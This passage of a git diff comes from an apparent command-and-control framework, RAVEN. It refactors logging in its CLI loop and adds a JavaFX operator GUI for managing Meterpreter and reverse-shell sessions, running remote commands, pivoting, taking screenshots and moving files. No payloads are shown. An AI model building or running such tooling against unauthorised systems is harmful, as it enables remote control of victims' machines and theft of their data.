Logger.Warn("Cannot kick admin or yourself"); continue; } if (Db.DeleteOperator(Parts[1])) System.out.printf(" Kicked (removed): %s%n", Parts[1]); - else System.out.println(" Operator not found"); + else Logger.Warn("operator not found"); } case "setrole", "changerole" -> { if (!CanManage()) { - System.out.println(" ADMIN/SUPER required"); + Logger.Warn("ADMIN/SUPER required"); continue; } if (Parts.length < 3) { - System.out.println(" Usage: setrole "); + Logger.Info("usage: setrole "); continue; } if (Parts[1].equalsIgnoreCase(Config.GetAdminUsername())) { - System.out.println(" Cannot change admin role"); + Logger.Warn("Cannot change admin role"); continue; } OperatorRole NR = OperatorRole.FromString(Parts[2]); - if (NR == OperatorRole.SUPER && (this.OpRole == null || !this.OpRole.IsSuperAdmin())) { - System.out.println(" Only SUPER can promote to SUPER"); + if (NR == OperatorRole.SUPER && (this.OperatorRoles == null || !this.OperatorRoles.IsSuperAdmin())) { + Logger.Warn("only SUPER can promote to SUPER"); continue; } if (Db.UpdateOperatorRole(Parts[1], NR)) System.out.printf(" Role updated: %s > %s %s%n", Parts[1], NR, NR.PermissionString()); - else System.out.println("Operator not found"); + else Logger.Warn("operator not found"); } case "passwd", "changepassword" -> { if (!CanManage()) { - System.out.println(" ADMIN/SUPER required"); + Logger.Warn("ADMIN/SUPER required"); continue; } if (Parts.length < 3) { - System.out.println(" Usage: passwd "); + Logger.Info("usage: passwd "); continue; } if (Parts[2].length() < 8) { - System.out.println(" Password must be ≥ 8 chars"); + Logger.Warn("password must be ≥ 8 chars"); continue; } if (Db.UpdateOperatorPassword(Parts[1], TeamDatabase.HashPassword(Parts[2]))) System.out.printf(" Password updated: %s%n", Parts[1]); - else System.out.println(" Operator not found"); + else Logger.Warn("operator not found"); } case "listopt", "listoperators" -> ShowOperators(); case "chat" -> ShowChat(); case "chathistory", "chatlog" -> ShowChatHistory(); case "ch" -> { - if (!IsTeamMode) { - System.out.println(" Not in team mode"); + if (!IsTeamServerMode) { + Logger.Warn("not in team mode"); continue; } if (Parts.length < 3) { - System.out.println(" Usage: ch "); + Logger.Info("usage: ch "); continue; } SendChat(Parts[1], Parts[2]); } case "gc" -> { - if (!IsTeamMode) { - System.out.println(" Not in team mode"); + if (!IsTeamServerMode) { + Logger.Warn("not in team mode"); continue; } if (Parts.length < 3) { - System.out.println(" Usage: gc "); + Logger.Info("usage: gc "); continue; } String GcTarget = Parts[1].toLowerCase(); @@ -881,28 +913,28 @@ private void RunLoop() { case "webstatus" -> ShowWebStatus(); case "note" -> { if (Parts.length < 3) { - System.out.println(" Usage: note "); + Logger.Info("usage: note "); continue; } try { int Sid = Integer.parseInt(Parts[1]); Db.SetAgentNote(Sid, Parts[2]); - System.out.printf(" %sNote saved for SESSION-%d%s%n", AnsiColor.Green, Sid, AnsiColor.Reset); + Logger.Info("note saved for session-" + Sid); } catch (NumberFormatException E) { - System.out.println(" Invalid session ID"); + Logger.Warn("invalid session ID"); } } case "getnote" -> { if (Parts.length < 2) { - System.out.println(" Usage: getnote "); + Logger.Info("usage: getnote "); continue; } try { int Sid = Integer.parseInt(Parts[1]); String N = Db.GetAgentNote(Sid); - System.out.printf(" Note [SESSION-%d]: %s%s%s%n", Sid, AnsiColor.White, N.isEmpty() ? "(empty)" : N, AnsiColor.Reset); + System.out.printf(" Note [session-%d]: %s%s%s%n", Sid, AnsiColor.White, N.isEmpty() ? "(empty)" : N, AnsiColor.Reset); } catch (NumberFormatException E) { - System.out.println(" Invalid session ID"); + Logger.Warn("invalid session ID"); } } case "history" -> { @@ -912,18 +944,18 @@ private void RunLoop() { } case "sysinfo", "info" -> { if (Parts.length < 2) { - System.out.println(" Usage: sysinfo "); + Logger.Info("usage: sysinfo "); continue; } try { ShowSessionInfo(Integer.parseInt(Parts[1])); } catch (NumberFormatException E) { - System.out.println(" Invalid session ID"); + Logger.Warn("invalid session ID"); } } case "whoami" -> { if (Server == null) { - System.out.println(" Unavailable in cross-process mode — use primary operator" + " terminal"); + Logger.Info("unavailable in cross-process mode - use primary operator" + " terminal"); continue; } if (CurrentSession > 0) { @@ -932,39 +964,39 @@ private void RunLoop() { try { DoExec(Integer.parseInt(Parts[1]), "whoami"); } catch (NumberFormatException E) { - System.out.println(" Invalid session ID"); + Logger.Warn("invalid session ID"); } - } else System.out.println(" Usage: whoami (or use inside an interactive" + " session)"); + } else Logger.Info("usage: whoami (or use inside an interactive" + " session)"); } case "sleep" -> { if (Parts.length < 3) { - System.out.println(" Usage: sleep "); + Logger.Info("usage: sleep "); continue; } try { int Sid = Integer.parseInt(Parts[1]); DoExec(Sid, "sleep " + Parts[2]); } catch (NumberFormatException E) { - System.out.println(" Invalid session ID"); + Logger.Warn("invalid session ID"); } } case "tasks" -> { if (Server == null) { - System.out.println(" Unavailable in cross-process mode — use primary operator" + " terminal"); + Logger.Warn("unavailable in cross-process mode - use primary operator" + " terminal"); continue; } ShowTasksQueue(); } case "pivot" -> { if (Parts.length < 3) { - System.out.println(" Usage: pivot "); + Logger.Info("usage: pivot "); continue; } try { int Sid = Integer.parseInt(Parts[1]); String Target = Parts[2]; if (!Target.contains(":")) { - System.out.println(" Invalid format — use host:port (e.g." + " 192.168.1.10:4445)"); + Logger.Error("invalid format - use host:port (e.g." + " 192.168.1.10:4445)"); continue; } String PivotHost = Target.split(":")[0]; @@ -972,56 +1004,56 @@ private void RunLoop() { try { PivotPort = Integer.parseInt(Target.split(":")[1]); } catch (NumberFormatException Ex) { - System.out.println(" Invalid port"); + Logger.Warn("invalid port"); continue; } String PivotNote = "[PIVOT] " + Target; Db.SetAgentNote(Sid, PivotNote); Db.SaveCommandLog(Sid, OperatorName != null ? OperatorName : "cli", "pivot " + Target, "Pivot route set: " + Target, true); - System.out.printf(" %sPivot route registered: SESSION-%d > %s%s%n", AnsiColor.Green, Sid, Target, AnsiColor.Reset); + System.out.printf(" %sPivot route registered: session-%d > %s%s%n", AnsiColor.Green, Sid, Target, AnsiColor.Reset); System.out.printf(" %s ℹ Use your agent to initiate connection to %s:%d%s%n", AnsiColor.White, PivotHost, PivotPort, AnsiColor.Reset); } catch (NumberFormatException E) { - System.out.println(" Invalid session ID"); + Logger.Warn("invalid session ID"); } } case "screenshot" -> { if (Parts.length < 2) { - System.out.println(" Usage: screenshot "); + Logger.Info("usage: screenshot "); continue; } try { DoExec(Integer.parseInt(Parts[1]), "screenshot"); } catch (NumberFormatException E) { - System.out.println(" Invalid session ID"); + Logger.Warn("invalid session ID"); } } case "download" -> { if (Parts.length < 3) { - System.out.println(" Usage: download "); + Logger.Info("usage: download "); continue; } try { DoExec(Integer.parseInt(Parts[1]), "download " + Parts[2]); } catch (NumberFormatException E) { - System.out.println(" Invalid session ID"); + Logger.Warn("invalid session ID"); } } case "upload" -> { if (Parts.length < 4) { - System.out.println(" Usage: upload "); + Logger.Info("usage: upload "); continue; } try { String RemotePath = Parts.length > 3 ? Parts[3] : ""; DoExec(Integer.parseInt(Parts[1]), "upload " + Parts[2] + " " + RemotePath); } catch (NumberFormatException E) { - System.out.println(" Invalid session ID"); + Logger.Warn("invalid session ID"); } } default -> { - System.out.printf(" %sUnknown command: %s%s%n", AnsiColor.Red, Cmd, AnsiColor.Reset); - System.out.println(" * Type 'help' for available commands"); + Logger.Error("Unknown command: " + Cmd); + Logger.Info("Type 'help' for available commands"); } } } catch (IOException E) { @@ -1035,16 +1067,16 @@ private void RunLoop() { private void ShowSessionInfo(int SessionId) { if (Server == null) { - System.out.println(" Unavailable in cross-process mode — use primary operator terminal"); + Logger.Info("unavailable in cross-process mode - use primary operator terminal"); return; } Optional Opt = Server.GetSessions().Get(SessionId); if (Opt.isEmpty()) { - System.out.println(" Session not found"); + Logger.Warn("Session not found"); return; } Session S = Opt.get(); - System.out.println(Box("SESSION INFO — #" + SessionId)); + System.out.println(Box("SESSION INFO - #" + SessionId)); System.out.println(); System.out.printf(" %sID %s%d%n", AnsiColor.Red, AnsiColor.White, S.GetId()); System.out.printf(" %sName %s%s%n", AnsiColor.Red, AnsiColor.White, S.GetDisplayName()); @@ -1066,11 +1098,11 @@ private void ShowSessionInfo(int SessionId) { private void ShowCmdHistory(int SessionId, int Limit) { List> Hist = Db.GetCommandHistory(SessionId, Limit); - String Title = SessionId == 0 ? "COMMAND HISTORY (all sessions, last " + Limit + ")" : "COMMAND HISTORY — SESSION-" + SessionId + " (last " + Limit + ")"; + String Title = SessionId == 0 ? "COMMAND HISTORY (all sessions, last " + Limit + ")" : "COMMAND HISTORY - session-" + SessionId + " (last " + Limit + ")"; System.out.println(Box(Title)); System.out.println(); if (Hist.isEmpty()) { - System.out.println(" No command history\n"); + Logger.Info("No command history\n"); return; } System.out.printf(" %s%-5s %-12s %-14s %-36s %s%s%n", AnsiColor.Red, "SID", "OPERATOR", "STATUS", "COMMAND", "TIMESTAMP", AnsiColor.Reset); @@ -1089,7 +1121,7 @@ private void ShowTasksQueue() { System.out.println(); int Total = Server != null ? Server.GetSessions().Count() : 0; System.out.printf(" %sActive sessions: %s%d%s%n", AnsiColor.Red, AnsiColor.White, Total, AnsiColor.Reset); - System.out.println(" Use 'broadcast' or 'exec' to queue commands to sessions"); + Logger.Info("Use 'broadcast' or 'exec' to queue commands to sessions"); System.out.println(); } @@ -1106,7 +1138,7 @@ private void StartWebPanel(String Host, int Port) { WebPanel.Run(Host, Port); System.out.printf(" %sWeb panel started > http://%s:%d/%s%n", AnsiColor.Green, Host, Port, AnsiColor.Reset); } catch (Exception E) { - Logger.Error(" Web panel start failed: " + E.getMessage()); + Logger.Error("Web panel start failed: " + E.getMessage()); System.out.printf(" %sWeb panel failed: %s%s%n", AnsiColor.Red, E.getMessage(), AnsiColor.Reset); WebPanel = null; } @@ -1124,9 +1156,9 @@ private void StopWebPanel() { private void ShowWebStatus() { if (WebPanel == null) { - System.out.println(" Web Panel : " + AnsiColor.Red + "Offline" + AnsiColor.Reset); + Logger.Info("Web Panel : " + AnsiColor.Red + "Offline" + AnsiColor.Reset); } else { - System.out.println(" Web Panel : " + AnsiColor.Green + "Online" + AnsiColor.Reset); + Logger.Info("Web Panel : " + AnsiColor.Green + "Online" + AnsiColor.Reset); } } @@ -1140,7 +1172,7 @@ private static int parseIntSafe(String S, int Def) { public void Run(String Host, int Port, ListenerMode Mode) { this.ActiveMode = Mode; - this.IsTeamMode = false; + this.IsTeamServerMode = false; if (!StartServer(Host, Port, Mode)) return; try { Thread.sleep(300); @@ -1151,7 +1183,7 @@ public void Run(String Host, int Port, ListenerMode Mode) { public void RunTeamServer(String Host, int Port, ListenerMode Mode) throws IOException { this.ActiveMode = Mode; - this.IsTeamMode = true; + this.IsTeamServerMode = true; BufferedReader Reader = new BufferedReader(new InputStreamReader(System.in)); if (!TeamLogin(Reader)) return; System.out.printf(" %n%sStarting listener on %s:%d%s%n%n", AnsiColor.Green, Host, Port, AnsiColor.Reset); diff --git a/src/main/java/com/raven/interface/GUI/GUI.java b/src/main/java/com/raven/interface/GUI/GUI.java new file mode 100644 index 0000000..c7ee6fb --- /dev/null +++ b/src/main/java/com/raven/interface/GUI/GUI.java @@ -0,0 +1,739 @@ +package com.raven.interfaces.GUI; + +import com.raven.core.db.TeamDatabase; +import com.raven.core.event.EventManager.EventType; +import com.raven.core.output.Logger; +import com.raven.interfaces.GUI.module.core.database.AuthService; +import com.raven.interfaces.GUI.module.core.server.CommandDispatcher; +import com.raven.interfaces.GUI.module.core.server.ServerController; +import com.raven.interfaces.GUI.module.core.session.SessionManager; +import com.raven.interfaces.GUI.module.core.session.SessionRow; +import com.raven.interfaces.GUI.module.UI.button.ButtonFactory; +import com.raven.interfaces.GUI.module.UI.color.Palette; +import com.raven.interfaces.GUI.module.UI.frame.CardBuilder; +import com.raven.interfaces.GUI.module.UI.frame.StyleHelper; +import com.raven.interfaces.GUI.module.UI.label.LabelFactory; +import com.raven.utils.ServerConfig; +import com.raven.utils.SystemHelper; +import javafx.application.Application; +import javafx.application.Platform; +import javafx.collections.FXCollections; +import javafx.collections.ObservableList; +import javafx.geometry.Insets; +import javafx.geometry.Pos; +import javafx.scene.Scene; +import javafx.scene.control.*; +import javafx.scene.control.cell.PropertyValueFactory; +import javafx.scene.layout.*; +import javafx.scene.paint.Color; +import javafx.stage.Stage; + +import java.time.Duration; +import java.time.Instant; +import java.time.LocalDateTime; +import java.time.format.DateTimeFormatter; +import java.util.Map; +import java.util.concurrent.Executors; + +public class RavenGUI extends Application { + + private static ServerConfig Config; + private static boolean TeamMode = false; + + private AuthService Auth; + private SessionManager SessionMgr; + private ServerController ServerCtrl; + private CommandDispatcher Dispatcher; + + private final ObservableList SessionRows = FXCollections.observableArrayList(); + private final ObservableList LogEntries = FXCollections.observableArrayList(); + + private int SelectedSessionId = -1; + + private Label StatusLabel; + private Label UptimeLabel; + private Label SessionCountLabel; + private TableView SessionTable; + private TextArea TerminalOutput; + private TextArea LogOutput; + private TextField TermInputField; + private TextField CmdInputField; + private Label SelectedAgentLabel; + private Label ServerStatusLabel; + private Label ServerInfoLabel; + private TextField HostField; + private TextField PortField; + private Button StartBtn; + private Button StopBtn; + + public static void Launch(ServerConfig Cfg) { + Config = Cfg; + TeamMode = false; + Application.launch(RavenGUI.class); + } + + public static void LaunchTeamServer(ServerConfig Cfg) { + Config = Cfg; + TeamMode = true; + Application.launch(RavenGUI.class); + } + + @Override + public void start(Stage PrimaryStage) { + Auth = new AuthService(Config); + if (TeamMode && !ShowLoginDialog(PrimaryStage)) { + Platform.exit(); + return; + } + + PrimaryStage.setTitle("RAVEN"); + PrimaryStage.setWidth(1440); + PrimaryStage.setHeight(900); + PrimaryStage.setMinWidth(1100); + PrimaryStage.setMinHeight(720); + + BorderPane Root = new BorderPane(); + Root.setStyle("-fx-background-color: " + Palette.BG + ";"); + Root.setLeft(BuildSidebar(PrimaryStage)); + Root.setCenter(BuildMainContent()); + + Scene MainScene = new Scene(Root); + MainScene.getStylesheets().add( + getClass().getResource("/com/raven/interfaces/GUI/styles/css/raven.css").toExternalForm() + ); + + PrimaryStage.setScene(MainScene); + PrimaryStage.setOnCloseRequest(E -> { + if (ServerCtrl != null) ServerCtrl.Stop(); + Platform.exit(); + }); + PrimaryStage.show(); + StartUptimeTimer(); + } + + private VBox BuildSidebar(Stage Stage) { + VBox Sidebar = new VBox(); + Sidebar.setPrefWidth(240); + Sidebar.setStyle( + "-fx-background-color: linear-gradient(to bottom, #120006, #050505);" + + "-fx-border-color: transparent " + Palette.RED + " transparent transparent;" + + "-fx-border-width: 0 1.5 0 0;" + ); + + VBox Logo = new VBox(8); + Logo.setPadding(new Insets(28, 22, 18, 22)); + Logo.getChildren().addAll( + LabelFactory.Danger("◆", 38, true), + LabelFactory.Primary("RAVEN", 28, true), + LabelFactory.Muted("Black Ops Console", 10) + ); + Sidebar.getChildren().add(Logo); + Sidebar.getChildren().add(StyleHelper.HDivider()); + + VBox Meta = new VBox(12); + Meta.setPadding(new Insets(18, 22, 18, 22)); + Meta.getChildren().addAll( + BuildMiniInfo("VERSION", "3.0.0"), + BuildMiniInfo("MODE", Config.GetServerMode().toUpperCase()), + BuildMiniInfo("INTERFACE", TeamMode ? "TEAM GUI" : "SOLO GUI") + ); + VBox.setVgrow(Meta, Priority.ALWAYS); + Sidebar.getChildren().add(Meta); + + VBox Footer = new VBox(8); + Footer.setPadding(new Insets(14, 22, 18, 22)); + Footer.setStyle("-fx-border-color: " + Palette.BORDER + " transparent transparent transparent; -fx-border-width: 1;"); + StatusLabel = LabelFactory.Danger("● Offline", 11, true); + Footer.getChildren().addAll(StatusLabel, LabelFactory.Muted("MatrixTM26", 9)); + Sidebar.getChildren().add(Footer); + return Sidebar; + } + + private VBox BuildMiniInfo(String Key, String Value) { + VBox Box = new VBox(3); + Box.setPadding(new Insets(10, 12, 10, 12)); + Box.setStyle( + "-fx-background-color: rgba(255,31,61,0.08);" + + "-fx-background-radius: 12;" + + "-fx-border-color: rgba(255,31,61,0.45);" + + "-fx-border-radius: 12;" + ); + Box.getChildren().addAll(LabelFactory.Muted(Key, 8), LabelFactory.Primary(Value, 11, true)); + return Box; + } + + private BorderPane BuildMainContent() { + BorderPane Main = new BorderPane(); + Main.setStyle("-fx-background-color: " + Palette.BG + ";"); + + HBox TopBar = new HBox(); + TopBar.setPrefHeight(72); + TopBar.setAlignment(Pos.CENTER_LEFT); + TopBar.setStyle( + "-fx-background-color: linear-gradient(to right, #050505, #120006);" + + "-fx-border-color: transparent transparent " + Palette.RED + " transparent;" + + "-fx-border-width: 0 0 1.5 0;" + ); + TopBar.setPadding(new Insets(0, 24, 0, 24)); + + UptimeLabel = LabelFactory.Muted("00:00:00", 9); + SessionCountLabel = LabelFactory.Primary("⊟ 0 Sessions", 9, false); + + HBox Right = new HBox(16); + Right.setAlignment(Pos.CENTER_RIGHT); + HBox.setHgrow(Right, Priority.ALWAYS); + Right.getChildren().addAll(UptimeLabel, StyleHelper.VDivider(), SessionCountLabel); + + VBox Heading = new VBox(2); + Heading.getChildren().addAll( + LabelFactory.Primary("RAVEN Operations Console", 20, true), + LabelFactory.Muted("Listener control • Session ops • CLI-aligned command center", 10) + ); + + if (Auth.GetOperatorName() != null) { + Label OpLabel = LabelFactory.Primary( + "Op: " + Auth.GetOperatorName() + " [" + (Auth.GetOperatorRole() != null ? Auth.GetOperatorRole().name() : "?") + "]", 8, false + ); + TopBar.getChildren().addAll(Heading, OpLabel, Right); + } else { + TopBar.getChildren().addAll(Heading, Right); + } + Main.setTop(TopBar); + + TabPane Tabs = new TabPane(); + Tabs.setTabClosingPolicy(TabPane.TabClosingPolicy.UNAVAILABLE); + Tabs.setStyle("-fx-background-color: " + Palette.BG + "; -fx-tab-min-height: 42px; -fx-tab-max-height: 42px;"); + Tabs.getTabs().addAll( + Tab("Dashboard", BuildDashboardTab()), + Tab("Sessions", BuildSessionsTab()), + Tab("Terminal", BuildTerminalTab()), + Tab("Commands", BuildCommandCenterTab()), + Tab("Logs", BuildLogsTab()), + Tab("Settings", BuildSettingsTab()) + ); + Main.setCenter(Tabs); + return Main; + } + + private Tab Tab(String Name, javafx.scene.Node Content) { + Tab T = new Tab(Name); + T.setContent(Content); + return T; + } + + private ScrollPane BuildDashboardTab() { + VBox Content = new VBox(12); + Content.setPadding(new Insets(24)); + Content.setStyle("-fx-background-color: " + Palette.BG + ";"); + + GridPane Cards = new GridPane(); + Cards.setHgap(8); + Cards.setVgap(8); + Cards.add(CardBuilder.StatCard("⊟", "Total Sessions", "0", Palette.TEXT), 0, 0); + Cards.add(CardBuilder.StatCard("◉", "RAVEN", "0", Palette.RED), 1, 0); + Cards.add(CardBuilder.StatCard("◎", "Meterpreter", "0", Palette.TEXT), 2, 0); + Cards.add(CardBuilder.StatCard("◈", "Reverse Shell", "0", Palette.RED), 3, 0); + for (int I = 0; I < 4; I++) { + ColumnConstraints Col = new ColumnConstraints(); + Col.setPercentWidth(25); + Cards.getColumnConstraints().add(Col); + } + Content.getChildren().add(Cards); + + VBox Info = CardBuilder.Panel("TOOL INFORMATION"); + TextArea InfoText = new TextArea( + " Author : MatrixTM26\n" + + " Github : MatrixTM26\n" + + " Version : 3.0\n\n" + + " Use Sessions for fast actions and Commands for CLI-aligned workflows.\n" + + " Terminal executes agent commands; Command Center executes server/session utilities.\n\n" + + " GUI Commands:\n" + + " • sessions | status | stats | tasks\n" + + " • kill | sysinfo | note | getnote \n" + + " • history [id] [limit] | broadcast \n" + + " • exec | whoami | sleep \n" + + " • screenshot | download | upload " + ); + InfoText.setEditable(false); + InfoText.setPrefHeight(200); + StyleHelper.ApplyTermStyle(InfoText); + Info.getChildren().add(InfoText); + Content.getChildren().add(Info); + + ScrollPane Scroll = new ScrollPane(Content); + Scroll.setFitToWidth(true); + Scroll.setStyle("-fx-background-color: " + Palette.BG + ";"); + return Scroll; + } + + private VBox BuildSessionsTab() { + VBox Content = new VBox(8); + Content.setPadding(new Insets(12)); + Content.setStyle("-fx-background-color: " + Palette.BG + ";"); + + HBox Toolbar = new HBox(8); + Toolbar.setAlignment(Pos.CENTER_LEFT); + TextField Search = new TextField(); + Search.setPromptText("🔍 Search sessions..."); + StyleHelper.ApplyInputStyle(Search); + Search.setPrefWidth(220); + HBox.setHgrow(Search, Priority.ALWAYS); + + Button Refresh = ButtonFactory.Styled("⟳ Refresh", Palette.TEXT, true); + Button Execute = ButtonFactory.Styled("▶ Execute", Palette.RED, false); + Button Broadcast = ButtonFactory.Styled("⇶ Broadcast", Palette.TEXT, true); + Button Kill = ButtonFactory.Styled("⊘ Kill", Palette.RED, false); + Refresh.setOnAction(E -> SessionMgr.Refresh()); + Execute.setOnAction(E -> OpenExecuteWindow()); + Broadcast.setOnAction(E -> OpenBroadcastWindow()); + Kill.setOnAction(E -> KillSelected()); + Toolbar.getChildren().addAll(Search, Refresh, Execute, Broadcast, Kill); + Content.getChildren().add(Toolbar); + + HBox CmdRow = new HBox(8); + CmdRow.setAlignment(Pos.CENTER_LEFT); + CmdRow.setPadding(new Insets(4, 0, 4, 0)); + Label CmdLbl = LabelFactory.Danger("COMMAND:", 9); + CmdLbl.setStyle("-fx-font-weight: bold;"); + TextField SrvInput = new TextField(); + SrvInput.setPromptText("sessions | status | stats | tasks | kill | sysinfo | history [id] [limit] | note | exec "); + StyleHelper.ApplyInputStyle(SrvInput); + HBox.setHgrow(SrvInput, Priority.ALWAYS); + Button SrvExec = ButtonFactory.Styled("RUN", Palette.RED, false); + SrvExec.setOnAction(E -> Dispatcher.Dispatch(SrvInput.getText().trim(), SrvInput)); + SrvInput.setOnAction(E -> Dispatcher.Dispatch(SrvInput.getText().trim(), SrvInput)); + CmdRow.getChildren().addAll(CmdLbl, SrvInput, SrvExec); + Content.getChildren().add(CmdRow); + + SessionTable = new TableView<>(SessionRows); + SessionTable.setStyle( + "-fx-background-color: " + Palette.CARD + ";" + + "-fx-control-inner-background: " + Palette.CARD + ";" + + "-fx-table-cell-border-color: " + Palette.BORDER + ";" + + "-fx-table-header-border-color: " + Palette.BORDER + ";" + + "-fx-text-fill: " + Palette.TEXT + ";" + + "-fx-background-radius: 12;" + ); + String[] ColNames = {"ID", "Type", "Name/Cert", "IP", "OS", "User", "Host", "Session Key"}; + String[] Props = {"id", "type", "name", "ip", "os", "user", "host", "joined"}; + for (int I = 0; I < ColNames.length; I++) { + TableColumn Col = new TableColumn<>(ColNames[I]); + Col.setCellValueFactory(new PropertyValueFactory<>(Props[I])); + Col.setStyle("-fx-alignment: CENTER_LEFT; -fx-text-fill: " + Palette.TEXT + ";"); + SessionTable.getColumns().add(Col); + } + SessionTable.getSelectionModel().selectedItemProperty().addListener((Obs, Old, New) -> { + if (New != null) { + SelectedSessionId = Integer.parseInt(New.getId()); + if (SelectedAgentLabel != null) + SelectedAgentLabel.setText("● " + New.getName() + " #" + SelectedSessionId); + } + }); + VBox.setVgrow(SessionTable, Priority.ALWAYS); + Content.getChildren().add(SessionTable); + return Content; + } + + private VBox BuildTerminalTab() { + VBox Content = new VBox(8); + Content.setPadding(new Insets(12)); + Content.setStyle("-fx-background-color: " + Palette.BG + ";"); + + HBox Header = new HBox(8); + Header.setAlignment(Pos.CENTER_LEFT); + TermInputField = new TextField(); + TermInputField.setPrefWidth(80); + StyleHelper.ApplyInputStyle(TermInputField); + SelectedAgentLabel = LabelFactory.Muted("○ No agent selected", 9); + Button ClearBtn = ButtonFactory.Styled("Clear", Palette.CARD, false); + ClearBtn.setOnAction(E -> { if (TerminalOutput != null) TerminalOutput.clear(); }); + HBox.setHgrow(SelectedAgentLabel, Priority.ALWAYS); + Header.getChildren().addAll(LabelFactory.Muted("Session ID:", 9), TermInputField, SelectedAgentLabel, ClearBtn); + Content.getChildren().add(Header); + + TerminalOutput = new TextArea(); + TerminalOutput.setEditable(false); + TerminalOutput.setPrefHeight(400); + StyleHelper.ApplyTermStyle(TerminalOutput); + VBox.setVgrow(TerminalOutput, Priority.ALWAYS); + Content.getChildren().add(TerminalOutput); + + HBox InputRow = new HBox(8); + InputRow.setAlignment(Pos.CENTER_LEFT); + CmdInputField = new TextField(); + CmdInputField.setPromptText("Enter command..."); + StyleHelper.ApplyInputStyle(CmdInputField); + HBox.setHgrow(CmdInputField, Priority.ALWAYS); + Button SendBtn = ButtonFactory.Styled("Send", Palette.ACCENT, false); + SendBtn.setOnAction(E -> SendTerminalCommand()); + CmdInputField.setOnAction(E -> SendTerminalCommand()); + InputRow.getChildren().addAll(LabelFactory.Primary("❯", 11, true), CmdInputField, SendBtn); + Content.getChildren().add(InputRow); + return Content; + } + + private VBox BuildCommandCenterTab() { + VBox Content = new VBox(12); + Content.setPadding(new Insets(18)); + Content.setStyle("-fx-background-color: " + Palette.BG + ";"); + + VBox Help = CardBuilder.Panel("CLI-ALIGNED COMMANDS"); + TextArea HelpText = new TextArea( + "Server: sessions | status | stats | tasks\n" + + "Session: exec | kill | sysinfo \n" + + "Ops: broadcast | whoami | sleep \n" + + "Files: screenshot | download | upload \n" + + "Notes/History: note | getnote | history [id] [limit]" + ); + HelpText.setEditable(false); + HelpText.setPrefHeight(120); + StyleHelper.ApplyTermStyle(HelpText); + Help.getChildren().add(HelpText); + + HBox InputRow = new HBox(10); + InputRow.setAlignment(Pos.CENTER_LEFT); + TextField CommandInput = new TextField(); + CommandInput.setPromptText("Type GUI command matching CLI syntax..."); + StyleHelper.ApplyInputStyle(CommandInput); + HBox.setHgrow(CommandInput, Priority.ALWAYS); + Button Run = ButtonFactory.Styled("EXECUTE", Palette.RED, false); + Button Clear = ButtonFactory.Styled("CLEAR LOGS", Palette.TEXT, true); + Run.setOnAction(E -> Dispatcher.Dispatch(CommandInput.getText().trim(), CommandInput)); + CommandInput.setOnAction(E -> Dispatcher.Dispatch(CommandInput.getText().trim(), CommandInput)); + Clear.setOnAction(E -> { + LogEntries.clear(); + if (LogOutput != null) LogOutput.clear(); + }); + InputRow.getChildren().addAll(LabelFactory.Danger("❯", 16, true), CommandInput, Run, Clear); + + TextArea Mirror = new TextArea(); + Mirror.setEditable(false); + Mirror.setText("Command Center writes output to the Logs tab and mirrors operational events.\nStart the server first from Settings, then use Sessions/Commands."); + StyleHelper.ApplyTermStyle(Mirror); + VBox.setVgrow(Mirror, Priority.ALWAYS); + + Content.getChildren().addAll(Help, InputRow, Mirror); + return Content; + } + + private VBox BuildLogsTab() { + VBox Content = new VBox(8); + Content.setPadding(new Insets(12)); + Content.setStyle("-fx-background-color: " + Palette.BG + ";"); + + HBox Toolbar = new HBox(8); + Toolbar.setAlignment(Pos.CENTER_RIGHT); + Button ExportBtn = ButtonFactory.Styled("Export", Palette.TEXT, true); + Button ClearBtn = ButtonFactory.Styled("Clear", Palette.RED, false); + ClearBtn.setOnAction(E -> { + LogEntries.clear(); + if (LogOutput != null) LogOutput.clear(); + }); + Toolbar.getChildren().addAll(ExportBtn, ClearBtn); + Content.getChildren().add(Toolbar); + + LogOutput = new TextArea(); + LogOutput.setEditable(false); + StyleHelper.ApplyTermStyle(LogOutput); + VBox.setVgrow(LogOutput, Priority.ALWAYS); + Content.getChildren().add(LogOutput); + return Content; + } + + private ScrollPane BuildSettingsTab() { + VBox Content = new VBox(16); + Content.setPadding(new Insets(16)); + Content.setStyle("-fx-background-color: " + Palette.BG + ";"); + + VBox ServerCard = CardBuilder.Panel("Server Configuration"); + GridPane Fields = new GridPane(); + Fields.setHgap(16); + Fields.setVgap(8); + HostField = new TextField(Config.GetServerHost()); + PortField = new TextField(String.valueOf(Config.GetServerPort())); + StyleHelper.ApplyInputStyle(HostField); + StyleHelper.ApplyInputStyle(PortField); + Fields.add(LabelFactory.Muted("Host:", 9), 0, 0); + Fields.add(HostField, 1, 0); + Fields.add(LabelFactory.Muted("Port:", 9), 0, 1); + Fields.add(PortField, 1, 1); + ServerCard.getChildren().add(Fields); + + HBox Btns = new HBox(8); + StartBtn = ButtonFactory.Styled("▶ START SERVER", Palette.RED, false); + StopBtn = ButtonFactory.Styled("◼ STOP SERVER", Palette.RED, false); + StopBtn.setDisable(true); + StartBtn.setOnAction(E -> InitServer()); + StopBtn.setOnAction(E -> ServerCtrl.Stop()); + Btns.getChildren().addAll(StartBtn, StopBtn); + ServerCard.getChildren().add(Btns); + + VBox StatusCard = CardBuilder.Panel("Server Status"); + ServerStatusLabel = LabelFactory.Danger("● OFFLINE", 16, true); + ServerInfoLabel = LabelFactory.Muted("Not running", 10); + StatusCard.getChildren().addAll(ServerStatusLabel, ServerInfoLabel); + + Content.getChildren().addAll(ServerCard, StatusCard); + ScrollPane Scroll = new ScrollPane(Content); + Scroll.setFitToWidth(true); + Scroll.setStyle("-fx-background-color: " + Palette.BG + ";"); + return Scroll; + } + + private void InitServer() { + String Host = HostField.getText().trim(); + int Port; + try { + Port = Integer.parseInt(PortField.getText().trim()); + } catch (NumberFormatException E) { + ShowAlert("Invalid port number"); + return; + } + ServerCtrl = new ServerController( + Config, StatusLabel, ServerStatusLabel, ServerInfoLabel, StartBtn, StopBtn, + this::AddLog, this::EventHandler, + () -> { + SessionMgr = new SessionManager(ServerCtrl.GetServer(), Auth.GetDb(), SessionRows, SessionCountLabel); + Dispatcher = new CommandDispatcher(ServerCtrl.GetServer(), Auth.GetDb(), SessionMgr, this::AddLog, Auth.GetOperatorName()); + }, + () -> Platform.runLater(() -> { + SessionRows.clear(); + SessionCountLabel.setText("⊟ 0 Sessions"); + }) + ); + ServerCtrl.Start(Host, Port); + } + + private boolean ShowLoginDialog(Stage Owner) { + Dialog Dlg = new Dialog<>(); + Dlg.setTitle("TeamServer Login"); + Dlg.setHeaderText("RAVEN — Authentication"); + Dlg.initOwner(Owner); + + GridPane Grid = new GridPane(); + Grid.setHgap(12); + Grid.setVgap(8); + Grid.setPadding(new Insets(20, 20, 10, 20)); + + TextField UserField = new TextField(); + 